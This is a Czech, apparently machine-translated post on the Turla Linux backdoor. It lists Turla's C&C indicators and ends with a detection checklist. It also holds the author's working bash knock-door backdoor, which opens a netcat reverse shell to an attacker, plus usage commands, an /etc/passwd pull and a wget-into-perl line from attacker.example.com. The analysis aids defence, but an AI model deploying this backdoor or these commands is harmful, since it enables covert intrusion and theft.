TURLA je poslední fází velké a sofistikované rodiny malwaru. Existují známé verze Windows minimálně od roku 2010. Tato 40stránková prezentace je nejkomplexnějším zdrojem, jaký jsem pro obě platformy viděl.
TURLA - vývoj a provoz
Některé přednosti systému Windows
- Fáze 0:stádium útoku – vektor infekce
- Fáze 1:fáze průzkumu – počáteční zadní vrátka
- Fáze 2:laterální pohyby
- Fáze 3:Přístup ke stanovené fázi –Nasazena TURLA
- V každé fázi mohou skončit, pokud ztratí zájem o cíl
Fáze 0:Injekční vektory
-
Spear Phishing (CVE-2013-3346) (CVE-2013-5065)
-
Watering Holes [Adobe Update sociální inženýrství / exploity Java (CVE-2012-1723), Adobe Flash exploity nebo Internet Explorer 6,7,8 exploity]
-
Kompromis dodavatele třetí strany
Fáze 1:Fáze průzkumu
-
Počáteční zadní vrátka – WipBot/Epic/TavDig
-
WipBot je kombinací zero-day a exploitu CVE-2013-3346
-
Exportuje funkce se stejnými názvy jako TURLA. Žádné další podobnosti
-
Přeruší ladění a většinu malwarových karantén
-
Zpracujte přeskoky několikrát, vymaže vlastní sekci PE
-
Dále popsáno ve zprávě Kaspersky Lab
Fáze 2:Laterální pohyby
-
Upřesněte C&C
-
Dále proniknout do sítě
-
Využijte nová zadní vrátka
-
Získá přihlašovací údaje správce domény
Fáze 3:Turla
-
Vypuštěno na vybrané stroje pro dlouhodobý kompromis
-
Stroje mohou být ohroženy roky bez detekce
Další zdroje
-
'Penguin Turla' – Kaspersky Lab (podrobnosti specifické pro Linux)
-
Zpráva Symantec – Turla
Nejdůležitější informace o Linuxu
-
Modul Turla napsaný v C/C++
-
Na základě cd00r
-
Spustitelný soubor je staticky propojen s více knihovnami
-
Jeho funkčnost zahrnuje skrytou síťovou komunikaci, libovolné vzdálené provádění příkazů a vzdálenou správu
-
Velká část jeho kódu je založena na veřejných zdrojích
-
Nelze být detekován pomocí netstat
-
Ne vyžadují přístup root
Spustitelné vlastnosti Linuxu
- ELF 32bitový spustitelný soubor LSB, Intel 80386, verze 1 (SYSV), staticky propojený, pro GNU/Linux 2.2.5, zbavený
Staticky propojené knihovny Linuxu
-
glibc2.3.2 – knihovna GNU C
-
openssl v0.9.6 – starší knihovna OpenSSL
-
libpcap – síťová knihovna tcpdump
Podrobnosti C&C pro Linux
-
První stupeň C&C je pevně zakódován. Známá aktivita @ news-bbc.podzone[.]org
-
pDNS IP:80.248.65.183
Podrobnosti o spuštění/spuštění Linuxu
-
Proces vyžaduje dva parametry:ID (číselná hodnota používaná jako součást „magického paketu pro ověření“) a existující název síťového rozhraní
-
Parametry lze zadat dvěma různými způsoby:ze STDIN nebo z kapátka a spuštěním vzorku
-
Po zadání ID a názvu rozhraní a spuštění procesu se vrátí PID procesu backdoor
Linux Magic Packet
-
Staticky propojuje knihovny PCAP
-
Získá raw socket, použije filtr, zachytí pakety
-
Zkontroluje číslo ACK v hlavičce TCP nebo druhý bajt z těla paketu UDP
-
Pokud je podmínka splněna, provedení skočí na obsah užitečného zatížení paketu a vytvoří běžný soket
-
Backdoor používá nový socket pro připojení ke zdrojové adrese Magic Packets
-
Backdoor hlásí své vlastní PID a IP, čeká na příjem příkazů
-
Příchozí příkazy se provádějí pomocí skriptu "/bin/sh -c "
Závěrečné poznámky
Vše ohledně linuxové verze bylo ze zprávy Kaspersky. Bohužel se v tuto chvíli zdá být detekce velmi obtížná.
"Ačkoli bylo známo, že existují varianty Linuxu z rámce Turla, dosud jsme žádné ve volné přírodě neviděli." – Kaspersky Lab
Jak to funguje:
Krátký úvod
Abych našel způsob, jak je detekovat, důkladně jsem pracoval na konceptu a metodách.
Za tímto účelem jsem rychle napsal malý bash skript fungující přibližně stejným způsobem.
Odtud as některými dalšími znalostmi o konceptech Un*x zveřejňuji svůj kontrolní seznam, který by mohl pomoci najít tento funkční trojan v jakémkoli systému.
Bash přepsán Turla knock-door
Abychom pochopili, jak to funguje, napsal jsem toto:
(Toto musí být spuštěno na cílovém hostiteli, pomocí nějakého vzdáleného exploitu, virů nebo jinak.)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
To není zcela nezjistitelné ale...
Funkce
- Zcela nezjistitelné pomocí
netstat
, a přitom poslouchat spojení útočníka. - Použijte [In->Out] jako [RANDOM->80] tcp portů, aby připojení vypadalo jako jakékoli surfování připojení.
- Počkejte na konkrétní IP (hašovanou, takže nečitelná) na místním portu 22, bez pomocí promiskuitního ani nevyžaduje root privilegium
- Jakmile detekuje příchozí připojení z konkrétní IP adresy (Zaklepejte! ), tím se otevře připojení k této IP na portu 80, aby vypadalo jako připojení pro surfování a nabídnout bash , zpět na toto připojení.
Poznámka: Skutečný trojský kůň mohl používat SSL a skutečné HTTP hlavičky, aby mohl fungovat i přes proxy!!
To přijímá 4 argumenty:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
je hash of salted útočník IP adresa uživatele. Může být vykreslen pomocímd5sum <<<SaltMyIP192.168.1.31
(Sůl lze změnit ve skriptu).KnockDoorPort -> bport
je jakýkoli již navázaný port používaný na cílovém hostiteli (22 pro ukázku, pokud cíl slouží SSH, ale lze použít jakýkoli otevřený port)myPort -> rport
je port místního útočníka používaný pro příchozí připojení (80, aby vypadalo jako odchozí http připojení. Útočník samozřejmě musí být root na svém hostiteli!)-i
příznak lze použít ke spuštěníbash
interaktivně
Krok infekce
-
Prvním krokem je spuštění tohoto skriptu pomocí libovolného vzdáleného exploitu, například
shellshock
nebo jakékoli přetečení vyrovnávací paměti . -
Za druhé, útočník musí znát IP adresu cíle, aby mohl poslat
knock door
na portu 22 -
Použít od útočníkovu IP (jako root pro naslouchání na tcp portu 80), počkejte na příchozí připojení cíle.
-
Jste logger v shellu na cíl!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null & ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
Ukázka:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
nebo
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
Není to tak snadné zjistit
Zatímco skript zůstává spuštěn na cílovém hostiteli a není otevřené žádné připojení útočníka, spuštěný skript není viditelný pomocí netcat
.
Knock
se provádějí jednou na portu 22, kde je časté selhání připojení pravidelné . Skutečné připojení shellu vypadá jako jakékoli odchozí připojení http.
Odpovědi:
Jak se linuxové počítače nakazí
Toto je trojský kůň , takže na této otázce opravdu nezáleží... (viz příklad Shellshock)
Jde o nějakou eskalaci oprávnění, nebo se celá věc děje pouze pod infikovaným uživatelem (tj. uid 1000)
Ne, jedním z cílů je umožnit útočníkovi hledat způsob, jak provést eskalaci oprávnění .
Kde na infikovaném počítači „žije“ malwarový kód
-
Všude a nikde:Pokud to spustíte jako přílohu, možná budete vědět, kde jste je uložili. Pokud je spuštěn ze vzdáleného exploitu, mohli by binární soubor po spuštění smazat.
-
Pokud Turla je binární (zapsáno C), které mít být uložen někde ve vašem systému Un*x, se spustitelnými příznaky nastavenými pro spuštění. Nejnovější souborový systém umožňuje jejich odstranění po spuštění, ale inode musí zůstat nedotčeno!
To by mohlo být odhaleno hledáním binárních souborů, které běží ve vašem systému, ale jsou umístěny ve standardnímPATH
. -
Pokud trojský kůň je skript, pouze binární soubor musí být propojen v souborovém systému, takže skript lze smazat nebo dokonce spustit jako
STDIN
a vůbec se neukládají.
wget -qO - http://attacker.example.com/virus.pl | perl
-
plus další zajímavé detaily
Zkuste můj bash skript...
Kontrolní seznam (přidáno:2015-02-04)
-
Vyhledejte rozvětvený pids (kde Parent Pid ==1)
grep PPid:\\s1$ /proc/*/status
-
Vyhledejte proces, který nelze spustit binárně z
PATH
for pid in $(ps axho pid);do readlink /proc/$pid/exe | sed 's/\/[^\/]*$//'| grep -q "^${PATH//:/$\|^}$" || printf "%10d %-16s %s\n" $pid "$( sed 's/Name:[\t ]*//;q' /proc/$pid/status )" "$( readlink /proc/$pid/exe )" done
-
Hledat proces běžící po dlouhou dobu
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
-
Skript:Vyhledejte způsob skrývání procesu:porovnejte
exe
acommand line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do printf "%10d %-40s %s\n" $pid "$( readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)" done
-
Pomocí
apparmor
, můžete sledovat proces přístupu k zásobníku tcp (a/nebo zásobník udp ). -
Pomocí
tcpdump
, existuje silná práce, ale efektivní řešení:Sledujte odchozí připojení, které vznese jakýkoli druh požadavku, stane se odpovědí není nezbytně ihned poté, ale odeslat další požadavek ihned po obdržení první odpovědi se nestarejte o odpověď na poslední požadavek:ukončí se při obdržení
exit
direktiva, která říká něco jakologout.
, který by mohl být řízen jako poslední http požadavek aktuální relace , ale zavřete před obdržení jakékoli odpovědi http .Ve skutečnosti musíte najít odchozí připojení, kde výměna dat neodpovídá běžnému schématu odchozího připojení, ale hybridnímu schématu server-start - příchozí připojení - server-stop .
Samozřejmě to musí být zachyceno protože žádné spojení není trvale otevřené.
-
Vytváření statistik systémových volání (pomocí apparmor)
díky alphanetu za tento nápad
Vytvořte statistiky pro každý běžící proces a
Odešlete je do bayesovského nástroje pro výpočet běžných profilů
Abychom byli upozorněni, když nový proces neodpovídá běžným profilům (nebo i při změně běžícího procesu).